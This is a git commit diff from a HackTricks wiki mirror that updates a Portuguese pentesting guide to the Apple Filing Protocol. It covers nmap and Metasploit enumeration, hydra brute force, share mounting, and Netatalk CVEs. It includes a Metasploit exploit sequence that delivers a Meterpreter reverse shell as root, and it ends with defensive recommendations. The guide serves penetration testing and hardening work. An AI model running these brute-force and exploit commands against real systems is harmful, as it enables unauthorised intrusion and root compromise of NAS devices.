mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
1b5b5d6ac4
commit
f52fde3240
@ -4,27 +4,109 @@
|
|||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
O **Apple Filing Protocol** (**AFP**), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído dentro do **Apple File Service** (**AFS**). Ele é projetado para fornecer serviços de arquivo para macOS e o clássico Mac OS. O AFP se destaca por suportar nomes de arquivos em Unicode, permissões POSIX e listas de controle de acesso, forks de recursos, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos. Foi o principal protocolo para serviços de arquivo no Mac OS 9 e versões anteriores.
|
O **Apple Filing Protocol** (**AFP**), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído no **Apple File Service** (**AFS**). Ele é projetado para fornecer serviços de arquivo para macOS e o clássico Mac OS. O AFP se destaca por suportar nomes de arquivos em Unicode, permissões no estilo POSIX e ACL, forks de recursos, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos.
|
||||||
|
|
||||||
**Porta Padrão:** 548
|
Embora o AFP tenha sido substituído pelo SMB nas versões modernas do macOS (SMB é o padrão desde o OS X 10.9), ainda é encontrado em:
|
||||||
|
|
||||||
|
* Ambientes legados de macOS / Mac OS 9
|
||||||
|
* Aparelhos NAS (QNAP, Synology, Western Digital, TrueNAS…) que incorporam o daemon de código aberto **Netatalk**
|
||||||
|
* Redes de sistemas operacionais mistos onde o Time-Machine-over-AFP ainda está habilitado
|
||||||
|
|
||||||
|
**Porta TCP Padrão:** **548** (AFP sobre TCP / DSI)
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
548/tcp open afp
|
548/tcp open afp
|
||||||
```
|
```
|
||||||
### **Enumeração**
|
---
|
||||||
|
|
||||||
Para a enumeração de serviços AFP, os seguintes comandos e scripts são úteis:
|
## Enumeração
|
||||||
|
|
||||||
|
### Informações rápidas sobre banner / servidor
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
# Metasploit auxiliary
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
use auxiliary/scanner/afp/afp_server_info
|
||||||
|
run RHOSTS=<IP>
|
||||||
|
|
||||||
|
# Nmap NSE
|
||||||
|
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||||
```
|
```
|
||||||
**Scripts e Suas Descrições:**
|
Scripts NSE úteis para AFP:
|
||||||
|
|
||||||
- **afp-ls**: Este script é utilizado para listar os volumes e arquivos AFP disponíveis.
|
| Script | O que faz |
|
||||||
- **afp-path-vuln**: Ele lista todos os volumes e arquivos AFP, destacando potenciais vulnerabilidades.
|
|--------|--------------|
|
||||||
- **afp-serverinfo**: Isso fornece informações detalhadas sobre o servidor AFP.
|
| **afp-ls** | Lista volumes e arquivos AFP disponíveis |
|
||||||
- **afp-showmount**: Ele lista os compartilhamentos AFP disponíveis junto com suas respectivas ACLs.
|
| **afp-brute** | Força bruta de senha contra login AFP |
|
||||||
|
| **afp-serverinfo** | Extrai nome do servidor, tipo de máquina, versão AFP, UAMs suportados, etc. |
|
||||||
|
| **afp-showmount** | Lista compartilhamentos junto com suas ACLs |
|
||||||
|
| **afp-path-vuln** | Detecta (e pode explorar) travessia de diretório, CVE-2010-0533 |
|
||||||
|
|
||||||
### [**Força Bruta**](../generic-hacking/brute-force.md#afp)
|
O script de força bruta NSE pode ser combinado com Hydra/Medusa se mais controle for necessário:
|
||||||
|
```bash
|
||||||
|
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||||
|
```
|
||||||
|
### Interagindo com compartilhamentos
|
||||||
|
|
||||||
|
*macOS*
|
||||||
|
```bash
|
||||||
|
# Finder → Go → "Connect to Server…"
|
||||||
|
# or from terminal
|
||||||
|
mkdir /Volumes/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||||
|
```
|
||||||
|
*Linux* (usando `afpfs-ng` ‑ empacotado na maioria das distros)
|
||||||
|
```bash
|
||||||
|
apt install afpfs-ng
|
||||||
|
mkdir /mnt/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||||
|
# or interactive client
|
||||||
|
afp_client <IP>
|
||||||
|
```
|
||||||
|
Uma vez montado, lembre-se de que os clássicos resource-forks do Mac são armazenados como arquivos ocultos `._*` AppleDouble – estes frequentemente contêm metadados interessantes que ferramentas DFIR não detectam.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vulnerabilidades Comuns & Exploração
|
||||||
|
|
||||||
|
### Cadeia de RCE não autenticada do Netatalk (2022)
|
||||||
|
|
||||||
|
Vários fornecedores de NAS enviaram **Netatalk ≤3.1.12**. A falta de verificação de limites em `parse_entries()` permite que um atacante crie um cabeçalho **AppleDouble** malicioso e obtenha **root remoto** antes da autenticação (**CVSS 9.8 – CVE-2022-23121**). Um relatório completo do NCC Group com PoC explorando o Western-Digital PR4100 está disponível.
|
||||||
|
|
||||||
|
O Metasploit (>= 6.3) inclui o módulo `exploit/linux/netatalk/parse_entries` que entrega a carga útil via DSI `WRITE`.
|
||||||
|
```bash
|
||||||
|
use exploit/linux/netatalk/parse_entries
|
||||||
|
set RHOSTS <IP>
|
||||||
|
set TARGET 0 # Automatic (Netatalk)
|
||||||
|
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||||
|
run
|
||||||
|
```
|
||||||
|
Se o alvo estiver executando um firmware afetado do QNAP/Synology, a exploração bem-sucedida resulta em um shell como **root**.
|
||||||
|
|
||||||
|
### Overflow de heap OpenSession do Netatalk (2018)
|
||||||
|
|
||||||
|
Versões mais antigas do Netatalk (3.0.0 - 3.1.11) são vulneráveis a uma gravação fora dos limites no manipulador **DSI OpenSession**, permitindo a execução de código não autenticado (**CVE-2018-1160**). Uma análise detalhada e um PoC foram publicados pela Tenable Research.
|
||||||
|
|
||||||
|
### Outros problemas notáveis
|
||||||
|
|
||||||
|
* **CVE-2022-22995** – Redirecionamento de symlink levando a gravação de arquivo arbitrário / RCE quando AppleDouble v2 está habilitado (3.1.0 - 3.1.17).
|
||||||
|
* **CVE-2010-0533** – Traversal de diretório no Apple Mac OS X 10.6 AFP (detectado por `afp-path-vuln.nse`).
|
||||||
|
* Vários bugs de segurança de memória foram corrigidos no **Netatalk 4.x (2024)** – recomenda-se a atualização em vez de corrigir CVEs individuais.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recomendações Defensivas
|
||||||
|
|
||||||
|
1. **Desative o AFP** a menos que estritamente necessário – use SMB3 ou NFS em vez disso.
|
||||||
|
2. Se o AFP precisar permanecer, **atualize o Netatalk para ≥ 3.1.18 ou 4.x**, ou aplique firmware do fornecedor que retroceda os patches de 2022/2023/2024.
|
||||||
|
3. Imponha **UAMs Fortes** (por exemplo, *DHX2*), desative logins em texto claro e de convidados.
|
||||||
|
4. Restrinja o TCP 548 a sub-redes confiáveis e envolva o AFP dentro de uma VPN quando exposto remotamente.
|
||||||
|
5. Escaneie periodicamente com `nmap -p 548 --script afp-*` em CI/CD para capturar dispositivos rebeldes / rebaixados.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* Aviso de Segurança do Netatalk CVE-2022-23121 – "Execução de código arbitrário em parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||||
|
* Tenable Research – "Explorando um Bug de 18 Anos (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user